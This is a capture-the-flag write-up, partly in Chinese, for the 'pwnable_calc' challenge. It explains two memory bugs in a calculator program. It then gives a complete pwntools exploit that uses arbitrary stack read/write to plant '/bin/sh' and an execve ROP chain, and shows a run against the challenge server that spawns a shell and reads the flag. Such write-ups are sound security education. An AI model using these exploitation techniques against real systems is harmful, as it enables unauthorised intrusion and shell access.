WriteUp: SECPROG calculator 0x0 Checksec1 2 3 4 5 6 7 ╰─$ checksec calc [*] 'pwnable_calc/calc' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
注意: Stack: Canary found
. 直接stack overflow
会破坏Canary
, 需要泄露Canary
,并在stack overflow
时,将Canary
修复在正确的位置
0x1 Reverse Enginnering经过分析,程序至少存在两处漏洞:
a. 当开头为运算符号时,会修改pool[0]
的值,该值作为运算时pool
数组的下标使用,通过修改该值,获得任意地址读和任意地址写的漏洞。e.g. +111111
b. 当运算符号为’±’、’*/%'两组交替时,会让运算符数组不断曾长,超过100时,产生栈溢出。e.g. payload = b'1*2+'*100+b'1'
0x2 Analyze由于运算符
中的值只能是+-*/%
(实际上除最后一个字符外只有±),那么很难实现运算符
溢出的利用。
因此,我们使用+1111
形式的payload
,通过任意读
和任意写
,将栈溢出脚本写入到栈中。
应注意python
中ctypes
的使用,进行int32
的转换。
0x3 Exploit Code1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 from pwn import *from pwnlib.util import miscimport osimport ctypeself = context.binary = ELF("bin" ) libc = elf.libc context.clear(arch='i386' , os='linux' ,kernel='amd64' ) context.terminal = ["tmux" , "split" , "-h" ] gs = ''' continue ''' def start (): if args.GDB: p = process(elf.path) cmd = ["gdb" , "-p" , str (p.pid)] cmd = context.terminal + cmd cmd = ' ' .join(cmd) os.system(cmd) time.sleep(1 ) return p elif args.REMOTE: return remote('node4.buuoj.cn' , 28496 ) else : return process(elf.path) def leak (payload ): io.sendline(payload) ctn = io.recvline() result = int (ctn[:-1 ], 10 ) & 0xffffffff return ctypes.c_int32(result).value def write (addr_offset, value ): payload_lk = f"+{addr_offset} " .encode() old_value = leak(payload_lk) payload = f"+{addr_offset} " if old_value == value: return elif old_value < value: payload += f"+{value - old_value} " else : payload += f"-{old_value - value} " io.sendline(payload.encode()) ctn = io.recvline() now_value = leak(payload_lk) if now_value != value: print (f"write failed: {addr_offset} {value} {now_value} " ) exit(1 ) io = start() io.timeout = 3000 payload = b"1+1" io.recvuntil(b'\n' ) """ calc stack -000005A0 pool dd 101 dup(?) -----------|----------------------| -0000040C expr db 1024 dup(?) 1 357*size_of(int) | -0000000C cannary dd ? 2 -----------| | ... (0x5a0 + 4) = 0x5a4 = 361*size_of(int)+00000000 s db 4 dup(?) 360 | +00000004 r db 4 dup(?) 361 ----------------------------------| """ ebp_value = leak(b"+360" ) log.info(f"ebp_value: {hex (ebp_value & 0xffffffff )} " ) write(358 , 0x6e69622f ) write(359 , 0x68732f ) binsh = ebp_value & 0xffffffff - 0x28 rop = ROP(elf) int80 = rop.find_gadget(['int 0x80' ]) rop.raw(rop.eax) rop.raw(0xb ) rop.raw(rop.ecx) rop.raw(0 ) rop.raw(binsh) rop.raw(rop.edx) rop.raw(0 ) rop.raw(int80) rop_bs = rop.chain() print (rop_bs)print (rop.dump())offset = 361 for i in range (0 , len (rop_bs), 4 ): ai32 = u32(rop_bs[i:i+4 ]) ai32 = ctypes.c_int32(ai32).value write(offset, ai32) offset += 1 io.sendline() time.sleep(3 ) io.sendline(b"cat flag" ) flag = io.recvline() log.info(f"flag: {flag} " ) io.close()
0x4 Output Example1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ╰─$ python exp.py REMOTE [*] 'pwnable_calc/bin' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) [+] Opening connection to node4.buuoj.cn on port 28496: Done [*] ebp_value: 0xffd17cf8 [*] Loaded 91 cached gadgets for 'bin' b'K\xc3\x05\x08\x0b\x00\x00\x00\xd1\x01\x07\x08\x00\x00\x00\x00\xd0|\xd1\xff\xaa\x01\x07\x08\x00\x00\x00\x00!\x9a\x04\x08' 0x0000: 0x805c34b pop eax; ret 0x0004: 0xb 0x0008: 0x80701d1 pop ecx; pop ebx; ret 0x000c: 0x0 0x0010: 0xffd17cd0 0x0014: 0x80701aa pop edx; ret 0x0018: 0x0 0x001c: 0x8049a21 int 0x80 [*] flag: b'flag{3ec****4-73f2-4c1e-8623-be****20ba24}\n' [*] Closed connection to node4.buuoj.cn port 28496
0x5 The Challengehttps://buuoj.cn/challenges#pwnable_calc